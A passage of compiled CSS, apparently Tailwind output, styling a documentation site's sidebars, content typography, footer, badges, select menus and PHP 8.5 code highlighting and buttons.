64rem) { - .cta-footer-content { - padding-inline: calc(var(--spacing) * 8) - } -} - -.cta-footer-content svg { - width: calc(var(--spacing) * 16); - height: calc(var(--spacing) * 16); - color: var(--color-gray-800); - margin-inline: auto -} - -.cta-footer-content svg:where(.dark,.dark *) { - color: var(--color-gray-100) -} - -.cta-footer-content h2 { - margin-block: calc(var(--spacing) * 10); - font-family: var(--font-sans); - font-size: var(--text-2xl); - line-height: var(--tw-leading, var(--text-2xl--line-height)); - --tw-font-weight: var(--font-weight-semibold); - font-weight: var(--font-weight-semibold); - text-wrap: balance; - color: var(--color-gray-900) -} - -@media (min-width: 40rem) { - .cta-footer-content h2 { - font-size: var(--text-4xl); - line-height: var(--tw-leading, var(--text-4xl--line-height)) - } -} - -.cta-footer-content h2:where(.dark,.dark *) { - color: var(--color-white) -} - -.cta-footer-button-container { - margin-bottom: calc(var(--spacing) * 10); - justify-content: center; - align-items: center; - display: flex -} - -:where(.cta-footer-button-container>:not(:last-child)) { - --tw-space-x-reverse: 0; - margin-inline-start: calc(calc(var(--spacing) * 4) * var(--tw-space-x-reverse)); - margin-inline-end: calc(calc(var(--spacing) * 4) * calc(1 - var(--tw-space-x-reverse))) -} - -.cta-footer-content p { - max-width: var(--container-2xl); - --tw-leading: var(--leading-relaxed); - line-height: var(--leading-relaxed); - color: #18181bcc; - margin-inline: auto -} - -@supports (color:color-mix(in lab, red, red)) { - .cta-footer-content p { - color: color-mix(in oklab, var(--color-gray-900) 80%, transparent) - } -} - -.cta-footer-content p:where(.dark,.dark *) { - color: #fffc -} - -@supports (color:color-mix(in lab, red, red)) { - .cta-footer-content p:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -.cta-footer-content .first-paragraph { - margin-bottom: calc(var(--spacing) * 6) -} - -.docs-bg:where(.dark,.dark *) { - background-color: oklab(39.0688% .00431919 -.103547/.3) -} - -.docs-container { - z-index: 10; - max-width: var(--container-7xl); - margin-inline: auto; - position: relative -} - -.docs-container nav a { - text-decoration-line: none -} - -.docs-sidebar a[aria-current=page] { - --tw-font-weight: var(--font-weight-medium); - font-weight: var(--font-weight-medium); - color: var(--color-gray-950) -} - -.docs-sidebar a:where(.dark,.dark *)[aria-current=page] { - color: var(--color-white) -} - -.docs-grid { - gap: calc(var(--spacing) * 4); - padding-inline: calc(var(--spacing) * 6); - padding-top: calc(var(--spacing) * 10); - grid-template-columns:repeat(12, minmax(0, 1fr)); - display: grid -} - -@media (min-width: 64rem) { - .docs-grid { - gap: calc(var(--spacing) * 6); - padding-inline: calc(var(--spacing) * 0) - } -} - -@media (min-width: 80rem) { - .docs-grid { - column-gap: calc(var(--spacing) * 10) - } -} - -.docs-left-sidebar-container { - border-right-style: var(--tw-border-style); - border-color: #09090b1a; - border-right-width: 1px; - grid-column: span 3/span 3; - position: relative -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-left-sidebar-container { - border-color: color-mix(in oklab, var(--color-gray-950) 10%, transparent) - } -} - -@media (min-width: 64rem) { - .docs-left-sidebar-container { - padding-bottom: calc(var(--spacing) * 6) - } -} - -.docs-left-sidebar-container:where(.dark,.dark *) { - border-color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-left-sidebar-container:where(.dark,.dark *) { - border-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.docs-left-sidebar-sub-container { - top: calc(var(--spacing) * 22); - bottom: calc(var(--spacing) * 0); - left: calc(var(--spacing) * 0); - z-index: 20; - display: none; - position: sticky -} - -@media (min-width: 64rem) { - .docs-left-sidebar-sub-container { - display: block - } -} - -.docs-left-sidebar { - overflow-y: auto -} - -.docs-left-sidebar:is(:where(.group)[data-sidebar-collapsed] *) { - display: none -} - -@media not all and (min-width: 80rem) { - .docs-left-sidebar { - display: none - } -} - -.docs-left-sidebar nav { - padding-inline: calc(var(--spacing) * 6) -} - -@media (min-width: 64rem) { - .docs-left-sidebar nav { - padding-inline: calc(var(--spacing) * 8) - } -} - -:where(.docs-left-sidebar-spacing>:not(:last-child)) { - --tw-space-y-reverse: 0; - margin-block-start: calc(calc(var(--spacing) * 8) * var(--tw-space-y-reverse)); - margin-block-end: calc(calc(var(--spacing) * 8) * calc(1 - var(--tw-space-y-reverse))) -} - -@media not all and (min-width: 80rem) { - .docs-left-sidebar-spacing { - display: none - } -} - -.docs-left-sidebar h2 { - font-size: var(--text-base); - line-height: calc(var(--spacing) * 7); - --tw-font-weight: var(--font-weight-semibold); - font-weight: var(--font-weight-semibold); - text-wrap: pretty; - color: var(--color-gray-950) -} - -@media (min-width: 40rem) { - .docs-left-sidebar h2 { - font-size: var(--text-sm); - line-height: calc(var(--spacing) * 6) - } -} - -.docs-left-sidebar h2:where(.dark,.dark *) { - color: var(--color-white) -} - -.docs-left-sidebar ul { - margin-top: calc(var(--spacing) * 4); - gap: calc(var(--spacing) * 4); - border-left-style: var(--tw-border-style); - border-color: #09090b1a; - border-left-width: 1px; - flex-direction: column; - display: flex -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-left-sidebar ul { - border-color: color-mix(in oklab, var(--color-gray-950) 10%, transparent) - } -} - -.docs-left-sidebar ul { - font-size: var(--text-base); - line-height: calc(var(--spacing) * 7); - color: var(--color-gray-700) -} - -@media (min-width: 40rem) { - .docs-left-sidebar ul { - margin-top: calc(var(--spacing) * 3); - gap: calc(var(--spacing) * 3); - font-size: var(--text-sm); - line-height: calc(var(--spacing) * 6) - } -} - -.docs-left-sidebar ul:where(.dark,.dark *) { - border-color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-left-sidebar ul:where(.dark,.dark *) { - border-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.docs-left-sidebar ul:where(.dark,.dark *) { - color: #ffffffb3 -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-left-sidebar ul:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 70%, transparent) - } -} - -.docs-left-sidebar li { - border-left-style: var(--tw-border-style); - padding-left: calc(var(--spacing) * 4); - border-color: #0000; - border-left-width: 1px; - margin-left: -1px; - display: flex -} - -@media (hover: hover) { - .docs-left-sidebar li:hover { - color: var(--color-gray-950) - } - - .docs-left-sidebar li:hover:not(:has([aria-current=page])) { - border-color: var(--color-gray-400) - } -} - -.docs-left-sidebar li:has([aria-current=page]) { - border-left-style: var(--tw-border-style); - border-color: #6b58ff; - border-left-width: 2px -} - -@media (hover: hover) { - .docs-left-sidebar li:where(.dark,.dark *):hover { - color: var(--color-white) - } -} - -.docs-right-sidebar-container { - border-left-style: var(--tw-border-style); - border-color: #09090b1a; - border-left-width: 1px; - grid-column: span 12/span 12; - display: none; - position: relative -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-right-sidebar-container { - border-color: color-mix(in oklab, var(--color-gray-950) 10%, transparent) - } -} - -.docs-right-sidebar-container:is(:where(.group)[data-sidebar-collapsed] *) { - display: none -} - -@media not all and (min-width: 80rem) { - .docs-right-sidebar-container { - display: none - } -} - -@media (min-width: 64rem) { - .docs-right-sidebar-container { - padding-bottom: calc(var(--spacing) * 10); - grid-column: 4/span 9 - } -} - -@media (min-width: 80rem) { - .docs-right-sidebar-container { - grid-column: auto/span 3; - display: block - } -} - -.docs-right-sidebar-container:where(.dark,.dark *) { - border-color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-right-sidebar-container:where(.dark,.dark *) { - border-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.docs-right-sidebar-sub-container { - padding-left: calc(var(--spacing) * 10); - position: relative -} - -@media (min-width: 64rem) { - .docs-right-sidebar-sub-container { - top: calc(var(--spacing) * 28); - position: sticky - } -} - -.docs-right-sidebar-container nav { - width: calc(var(--spacing) * 56) -} - -.docs-right-sidebar-container h2 { - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)); - --tw-font-weight: var(--font-weight-semibold); - font-weight: var(--font-weight-semibold); - color: var(--color-gray-900) -} - -.docs-right-sidebar-container h2:where(.dark,.dark *) { - color: var(--color-white) -} - -.docs-right-sidebar-container ol { - margin-top: calc(var(--spacing) * 4) -} - -:where(.docs-right-sidebar-container ol>:not(:last-child)) { - --tw-space-y-reverse: 0; - margin-block-start: calc(calc(var(--spacing) * 3) * var(--tw-space-y-reverse)); - margin-block-end: calc(calc(var(--spacing) * 3) * calc(1 - var(--tw-space-y-reverse))) -} - -.docs-right-sidebar-container ol { - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)) -} - -.docs-right-sidebar-container ol ol { - margin-top: calc(var(--spacing) * 2); - margin-bottom: calc(var(--spacing) * 4) -} - -:where(.docs-right-sidebar-container ol ol>:not(:last-child)) { - --tw-space-y-reverse: 0; - margin-block-start: calc(calc(var(--spacing) * 2) * var(--tw-space-y-reverse)); - margin-block-end: calc(calc(var(--spacing) * 2) * calc(1 - var(--tw-space-y-reverse))) -} - -.docs-right-sidebar-container ol ol { - padding-left: calc(var(--spacing) * 5); - color: var(--color-gray-500) -} - -.docs-right-sidebar-container ol ol:where(.dark,.dark *) { - color: #ffffffb3 -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-right-sidebar-container ol ol:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 70%, transparent) - } -} - -.docs-right-sidebar-container a { - --tw-font-weight: var(--font-weight-normal); - font-weight: var(--font-weight-normal); - color: var(--color-gray-500) -} - -@media (hover: hover) { - .docs-right-sidebar-container a:hover { - color: var(--color-gray-700) - } -} - -.docs-right-sidebar-container a[aria-current=page] { - --tw-font-weight: var(--font-weight-medium); - font-weight: var(--font-weight-medium); - color: #6b58ff -} - -.docs-right-sidebar-container a:where(.dark,.dark *) { - color: #ffffffb3 -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-right-sidebar-container a:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 70%, transparent) - } -} - -@media (hover: hover) { - .docs-right-sidebar-container a:where(.dark,.dark *):hover { - color: #ffffffe6 - } - - @supports (color:color-mix(in lab, red, red)) { - .docs-right-sidebar-container a:where(.dark,.dark *):hover { - color: color-mix(in oklab, var(--color-white) 90%, transparent) - } - } -} - -.docs-right-sidebar-container a:where(.dark,.dark *)[aria-current=page] { - color: #7b75ff -} - -.docs-content { - grid-column: span 12/span 12 -} - -@media (min-width: 64rem) { - .docs-content { - grid-column: span 9/span 9 - } -} - -@media (min-width: 80rem) { - .docs-content { - grid-column: span 6/span 6 - } -} - -.docs-content .code-container { - margin-bottom: calc(var(--spacing) * 6) -} - -.docs-content .code-container:where(.dark,.dark *) { - border-color: #ffffff0d -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-content .code-container:where(.dark,.dark *) { - border-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } -} - -.docs-content .code-container:where(.dark,.dark *) { - background-color: #ffffff14 -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-content .code-container:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-white) 8%, transparent) - } -} - -.docs-content .code-container .header { - top: calc(var(--spacing) * 0); - right: calc(var(--spacing) * 0); - border-style: var(--tw-border-style); - border-width: 0; - justify-content: flex-end; - position: absolute -} - -.docs-content h1 { - margin-top: 0; - margin-bottom: 1.5rem; - padding-bottom: .75rem; - font-size: 2rem; - font-weight: 700; - line-height: 1.2 -} - -.docs-content h2 { - margin-top: 2.5rem; - margin-bottom: 1.25rem; - padding-bottom: .5rem; - font-size: 1.75rem; - font-weight: 600; - line-height: 1.3 -} - -.docs-content h3 { - margin-top: 2rem; - margin-bottom: 1rem; - font-size: 1.5rem; - font-weight: 600; - line-height: 1.4 -} - -.docs-content h4 { - margin-top: 1.5rem; - margin-bottom: .75rem; - font-size: 1.25rem; - font-weight: 600; - line-height: 1.4 -} - -.docs-content h5 { - margin-top: 1.25rem; - margin-bottom: .5rem; - font-size: 1.1rem; - font-weight: 600; - line-height: 1.4 -} - -.docs-content h6 { - margin-top: 1rem; - margin-bottom: .5rem; - font-size: 1rem; - font-weight: 600; - line-height: 1.4 -} - -.docs-content p { - margin-bottom: 1.25rem; - font-size: 1rem; - line-height: 1.75 -} - -.docs-content a { - color: #6b58ff; - text-decoration-line: none -} - -.docs-content a:where(.dark,.dark *) { - color: #7b75ff -} - -.docs-content a:hover { - text-decoration: underline -} - -.docs-content ol, .docs-content ul { - color: #4a5568; - margin-bottom: 1.25rem; - padding-left: 2rem -} - -.docs-content li { - margin-bottom: .5rem; - line-height: 1.75 -} - -.docs-content ul li { - list-style-type: disc -} - -.docs-content ol li { - list-style-type: decimal -} - -.docs-content p code, .docs-content blockquote code { - border-radius: var(--radius-md); - background-color: #e4e4e780 -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-content p code, .docs-content blockquote code { - background-color: color-mix(in oklab, var(--color-gray-200) 50%, transparent) - } -} - -.docs-content p code, .docs-content blockquote code { - padding-inline: calc(var(--spacing) * 1); - padding-block: calc(var(--spacing) * .5); - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)) -} - -:is(.docs-content p code,.docs-content blockquote code):where(.dark,.dark *) { - background-color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - :is(.docs-content p code,.docs-content blockquote code):where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.docs-content table { - border-collapse: collapse; - border: 1px solid #6b58ff; - border-radius: 8px; - width: 100%; - margin-bottom: 1.5rem; - overflow: hidden -} - -.docs-content thead { - background-color: #f7fafc -} - -.docs-content th { - text-align: left; - border-bottom: 2px solid #6b58ff; - padding: 1rem; - font-weight: 600 -} - -.docs-content td { - border-bottom: 1px solid #6b58ff; - padding: 1rem -} - -.docs-content tbody tr:last-child td { - border-bottom: none -} - -.docs-content tbody tr:hover { - background-color: #f7fafc -} - -.docs-content blockquote { - margin-bottom: calc(var(--spacing) * 6); - border-radius: var(--radius-2xl); - border-style: var(--tw-border-style); - background-color: var(--color-white); - padding-inline: calc(var(--spacing) * 4); - padding-block: calc(var(--spacing) * 3); - border-width: 2px; - border-color: #6b58ff -} - -.docs-content blockquote:where(.dark,.dark *) { - background-color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .docs-content blockquote:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.docs-content blockquote p { - margin-bottom: calc(var(--spacing) * 2) -} - -.docs-content em { - font-style: italic -} - -.docs-content hr { - border: none; - border-top: 1px solid #6b58ff; - margin: 2rem 0 -} - -footer { - isolation: isolate; - z-index: 10; - border-top-style: var(--tw-border-style); - border-color: #0000000d; - border-top-width: 1px; - position: relative -} - -@supports (color:color-mix(in lab, red, red)) { - footer { - border-color: color-mix(in oklab, var(--color-black) 5%, transparent) - } -} - -footer:where(.dark,.dark *) { - border-color: #ffffff08 -} - -@supports (color:color-mix(in lab, red, red)) { - footer:where(.dark,.dark *) { - border-color: color-mix(in oklab, var(--color-white) 3%, transparent) - } -} - -footer:where(.dark,.dark *) { - background-color: oklab(39.0688% .00431919 -.103547/.3) -} - -footer p { - font-size: var(--text-sm); - line-height: calc(var(--spacing) * 6); - text-wrap: balance; - color: var(--color-gray-600) -} - -footer p:where(.dark,.dark *) { - color: #fffc -} - -@supports (color:color-mix(in lab, red, red)) { - footer p:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -.social-icons { - column-gap: calc(var(--spacing) * 6); - display: flex -} - -.social-icons a { - color: var(--color-gray-600) -} - -@media (hover: hover) { - .social-icons a:hover { - color: var(--color-gray-800) - } -} - -.social-icons a:where(.dark,.dark *) { - color: #fffc -} - -@supports (color:color-mix(in lab, red, red)) { - .social-icons a:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -@media (hover: hover) { - .social-icons a:where(.dark,.dark *):hover { - color: var(--color-white) - } -} - -.social-icons svg { - width: calc(var(--spacing) * 6); - height: calc(var(--spacing) * 6) -} - -.footer-logo { - height: calc(var(--spacing) * 10); - display: inline-block -} - -.footer-logo svg { - height: calc(var(--spacing) * 10); - color: var(--color-gray-800); - display: inline-block -} - -.footer-logo svg:where(.dark,.dark *) { - color: var(--color-white) -} - -.footer-container { - max-width: var(--container-7xl); - padding-inline: calc(var(--spacing) * 4); - padding-top: calc(var(--spacing) * 16); - padding-bottom: calc(var(--spacing) * 8); - margin-inline: auto -} - -@media (min-width: 40rem) { - .footer-container { - padding-top: calc(var(--spacing) * 24) - } -} - -@media (min-width: 64rem) { - .footer-container { - padding-inline: calc(var(--spacing) * 8); - padding-top: calc(var(--spacing) * 28) - } -} - -@media (min-width: 80rem) { - .footer-grid { - gap: calc(var(--spacing) * 8); - grid-template-columns:repeat(3, minmax(0, 1fr)); - display: grid - } -} - -:where(.footer-grid>div>:not(:last-child)) { - --tw-space-y-reverse: 0; - margin-block-start: calc(calc(var(--spacing) * 8) * var(--tw-space-y-reverse)); - margin-block-end: calc(calc(var(--spacing) * 8) * calc(1 - var(--tw-space-y-reverse))) -} - -.footer-links-container { - margin-top: calc(var(--spacing) * 16); - gap: calc(var(--spacing) * 8); - grid-template-columns:repeat(2, minmax(0, 1fr)); - display: grid -} - -@media (min-width: 80rem) { - .footer-links-container { - margin-top: calc(var(--spacing) * 0); - grid-column: span 2/span 2 - } -} - -@media (min-width: 48rem) { - .footer-links-grid { - gap: calc(var(--spacing) * 8); - grid-template-columns:repeat(2, minmax(0, 1fr)); - display: grid - } -} - -.footer-links-grid h3 { - font-size: var(--text-sm); - line-height: calc(var(--spacing) * 6); - --tw-font-weight: var(--font-weight-semibold); - font-weight: var(--font-weight-semibold); - color: var(--color-gray-900) -} - -.footer-links-grid h3:where(.dark,.dark *) { - color: var(--color-white) -} - -.footer-links-grid ul { - margin-top: calc(var(--spacing) * 6) -} - -:where(.footer-links-grid ul>:not(:last-child)) { - --tw-space-y-reverse: 0; - margin-block-start: calc(calc(var(--spacing) * 4) * var(--tw-space-y-reverse)); - margin-block-end: calc(calc(var(--spacing) * 4) * calc(1 - var(--tw-space-y-reverse))) -} - -.footer-links-grid a { - font-size: var(--text-sm); - line-height: calc(var(--spacing) * 6); - color: var(--color-gray-600) -} - -@media (hover: hover) { - .footer-links-grid a:hover { - color: var(--color-gray-900) - } -} - -.footer-links-grid a:where(.dark,.dark *) { - color: #fffc -} - -@supports (color:color-mix(in lab, red, red)) { - .footer-links-grid a:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -@media (hover: hover) { - .footer-links-grid a:where(.dark,.dark *):hover { - color: var(--color-white) - } -} - -.footer-links-grid div:first-of-type { - margin-bottom: calc(var(--spacing) * 10) -} - -@media (min-width: 48rem) { - .footer-links-grid div:first-of-type { - margin-bottom: calc(var(--spacing) * 0) - } -} - -.footer-credits { - margin-top: calc(var(--spacing) * 0); - border-top-style: var(--tw-border-style); - border-color: #18181b1a; - border-top-width: 1px -} - -@supports (color:color-mix(in lab, red, red)) { - .footer-credits { - border-color: color-mix(in oklab, var(--color-gray-900) 10%, transparent) - } -} - -.footer-credits { - padding-top: calc(var(--spacing) * 8) -} - -@media (min-width: 40rem) { - .footer-credits { - margin-top: calc(var(--spacing) * 20) - } -} - -@media (min-width: 64rem) { - .footer-credits { - margin-top: calc(var(--spacing) * 24) - } -} - -.footer-credits:where(.dark,.dark *) { - border-color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .footer-credits:where(.dark,.dark *) { - border-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.footer-credits p { - font-size: var(--text-sm); - line-height: calc(var(--spacing) * 6); - color: var(--color-gray-600) -} - -.footer-credits p:where(.dark,.dark *) { - color: #fffc -} - -@supports (color:color-mix(in lab, red, red)) { - .footer-credits p:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -.noise { - pointer-events: none; - top: calc(var(--spacing) * 0); - opacity: .08; - width: 100%; - height: 100%; - position: absolute -} - -.noise:where(.dark,.dark *) { - opacity: .4 -} - -.badge-green { - border-radius: var(--radius-md); - background-color: var(--color-green-200); - padding-inline: calc(var(--spacing) * 1.5); - padding-block: calc(var(--spacing) * .5); - font-size: var(--text-xs); - line-height: var(--tw-leading, var(--text-xs--line-height)); - --tw-font-weight: var(--font-weight-medium); - font-weight: var(--font-weight-medium); - color: var(--color-green-900); - align-items: center; - display: inline-flex -} - -.badge-green:where(.dark,.dark *) { - background-color: #05df721a -} - -@supports (color:color-mix(in lab, red, red)) { - .badge-green:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-green-400) 10%, transparent) - } -} - -.badge-green:where(.dark,.dark *) { - color: var(--color-green-400) -} - -.badge-red { - border-radius: var(--radius-md); - background-color: var(--color-red-200); - padding-inline: calc(var(--spacing) * 1.5); - padding-block: calc(var(--spacing) * .5); - font-size: var(--text-xs); - line-height: var(--tw-leading, var(--text-xs--line-height)); - --tw-font-weight: var(--font-weight-medium); - font-weight: var(--font-weight-medium); - color: var(--color-red-900); - align-items: center; - display: inline-flex -} - -.badge-red:where(.dark,.dark *) { - background-color: #ff65681a -} - -@supports (color:color-mix(in lab, red, red)) { - .badge-red:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-red-400) 10%, transparent) - } -} - -.badge-red:where(.dark,.dark *) { - color: var(--color-red-400) -} - -.select { - grid-template-columns:repeat(1, minmax(0, 1fr)); - display: inline-grid -} - -.select select { - height: calc(var(--spacing) * 9); - appearance: none; - border-radius: var(--radius-xl); - background-color: #fffc; - grid-row-start: 1; - grid-column-start: 1; - width: 100% -} - -@supports (color:color-mix(in lab, red, red)) { - .select select { - background-color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -.select select { - padding-right: calc(var(--spacing) * 6); - padding-left: calc(var(--spacing) * 3); - font-size: var(--text-base); - line-height: var(--tw-leading, var(--text-base--line-height)); - color: var(--color-gray-900); - outline-style: var(--tw-outline-style); - outline-offset: calc(1px * -1); - outline-width: 1px; - outline-color: var(--color-gray-300) -} - -.select select:focus { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #09090b0d -} - -@supports (color:color-mix(in lab, red, red)) { - .select select:focus { - --tw-ring-color: color-mix(in oklab, var(--color-gray-950) 5%, transparent) - } -} - -@media (min-width: 40rem) { - .select select { - font-size: var(--text-sm); - line-height: calc(var(--spacing) * 6) - } -} - -@media (min-width: 64rem) { - @media (hover: hover) { - .select select:hover { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #09090b0d - } - - @supports (color:color-mix(in lab, red, red)) { - .select select:hover { - --tw-ring-color: color-mix(in oklab, var(--color-gray-950) 5%, transparent) - } - } - } -} - -.select select:where(.dark,.dark *) { - background-color: #ffffff0d -} - -@supports (color:color-mix(in lab, red, red)) { - .select select:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } -} - -.select select:where(.dark,.dark *) { - color: var(--color-white); - outline-color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .select select:where(.dark,.dark *) { - outline-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -:is(.select select:where(.dark,.dark *)>*) { - background-color: var(--color-gray-800) -} - -.select select:where(.dark,.dark *):focus { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #ffffff0d -} - -@supports (color:color-mix(in lab, red, red)) { - .select select:where(.dark,.dark *):focus { - --tw-ring-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } -} - -@media (min-width: 64rem) { - @media (hover: hover) { - .select select:where(.dark,.dark *):hover { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #ffffff0d - } - - @supports (color:color-mix(in lab, red, red)) { - .select select:where(.dark,.dark *):hover { - --tw-ring-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } - } - } -} - -.select svg { - pointer-events: none; - margin-right: calc(var(--spacing) * 2); - width: calc(var(--spacing) * 5); - height: calc(var(--spacing) * 5); - color: var(--color-gray-500); - grid-row-start: 1; - grid-column-start: 1; - place-self: center flex-end -} - -@media (min-width: 40rem) { - .select svg { - width: calc(var(--spacing) * 4); - height: calc(var(--spacing) * 4) - } -} - -.select svg:where(.dark,.dark *) { - color: var(--color-gray-400) -} - -.php85 .phpcode { - padding: 1em; -} - -.dark .php85 .phpcode::selection { - background-color: #333; -} - -.php85 .phpcode span.comment { - color: #708090; - background-color: transparent; - font-style: italic; -} - -.php85 .phpcode span.default { - color: rgb(213, 51, 84); - background-color: transparent; -} - -.php85 .phpcode span.variable { - color: #7d55ba; - background-color: transparent; -} - -.php85 .phpcode span.keyword { - color: #07a; - background-color: transparent; -} - -.php85 .phpcode span.string { - color: rgb(80, 119, 0); - background-color: transparent; -} - -.dark .php85 .phpcode span.comment { - color: #8b949e; - background-color: transparent; - font-style: italic; -} - -.dark .php85 .phpcode span.default { - color: #d2a8ff; - background-color: transparent; -} - -.dark .php85 .phpcode span.variable { - color: #a5d6ff; - background-color: transparent; -} - -.dark .php85 .phpcode span.keyword { - color: #ff7b72; - background-color: transparent; -} - -.dark .php85 .phpcode span.string { - color: #80b83c; - background-color: transparent; -} - -.php85 #layout-content a.button-primary { - min-height: calc(var(--spacing) * 10); - cursor: pointer; - width: 100%; - padding-inline: calc(var(--spacing) * 5); - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)); - --tw-font-weight: var(--font-weight-semibold); - font-weight: var(--font-weight-semibold); - color: var(--color-white); - background-color: #6b58ff; - border-radius: calc(infinity * 1px); - justify-content: center; - align-items: center; - text-decoration-line: none; - display: inline-flex; - position: relative; - overflow: hidden -} - -@media (hover: hover) { - .php85 #layout-content a.button-primary:hover { - background-color: oklab(57.9656% .0459944 -.232052/.9) - } -} - -.php85 #layout-content a.button-primary:focus-visible { - outline-style: var(--tw-outline-style); - outline-offset: 2px; - outline-width: 2px; - outline-color: var(--color-gray-800) -} - -.php85 #layout-content a.button-primary:disabled { - pointer-events: none; - opacity: .9 -} - -@media (min-width: 40rem) { - .php85 #layout-content a.button-primary { - width: auto - } -} - -.php85 #layout-content a.button-secondary { - min-height: calc(var(--spacing) * 10); - cursor: pointer; - background-color: var(--color-white); - width: 100%; - padding-inline: calc(var(--spacing) * 5); - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)); - --tw-font-weight: var(--font-weight-semibold); - font-weight: var(--font-weight-semibold); - color: var(--color-gray-900); - --tw-shadow: 0 1px 2px 0 var(--tw-shadow-color, #0000000d); - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: color-mix(in oklab, var(--color-gray-200) 50%, transparent); - border-radius: calc(infinity * 1px); - justify-content: center; - align-items: center; - text-decoration-line: none; - display: inline-flex; - position: relative; - overflow: hidden -} - -@media (hover: hover) { - .php85 #layout-content a.button-secondary:hover { - background-color: #f4f4f5f2 - } - - @supports (color:color-mix(in lab, red, red)) { - .php85 #layout-content a.button-secondary:hover { - background-color: color-mix(in oklab, var(--color-gray-100) 95%, transparent) - } - } -} - -.php85 #layout-content a.button-secondary:focus-visible { - outline-style: var(--tw-outline-style); - outline-offset: 2px; - outline-width: 2px; - outline-color: var(--color-gray-800) -} - -.php85 #layout-content a.button-secondary:disabled { - pointer-events: none; - opacity: .9 -} - -@media (min-width: 40rem) { - .php85 #layout-content a.button-secondary { - width: auto - } -} - -.php85 #layout-content a.button-secondary:where(.dark,.dark *) { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(0px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow) -} - -@property --tw-blur { - syntax: "*"; - inherits: false -} - -@property --tw-brightness { - syntax: "*"; - inherits: false -} - -@property --tw-contrast { - syntax: "*"; - inherits: false -} - -@property --tw-grayscale { - syntax: "*"; - inherits: false -} - -@property --tw-hue-rotate { - syntax: "*"; - inherits: false -} - -@property --tw-invert { - syntax: "*"; - inherits: false -} - -@property --tw-opacity { - syntax: "*"; - inherits: false -} - -@property --tw-saturate { - syntax: "*"; - inherits: false -} - -@property --tw-sepia { - syntax: "*"; - inherits: false -} - -@property --tw-drop-shadow { - syntax: "*"; - inherits: false -} - -@property --tw-drop-shadow-color { - syntax: "*"; - inherits: false -} - -@property --tw-drop-shadow-alpha { - syntax: ""; - inherits: false; - 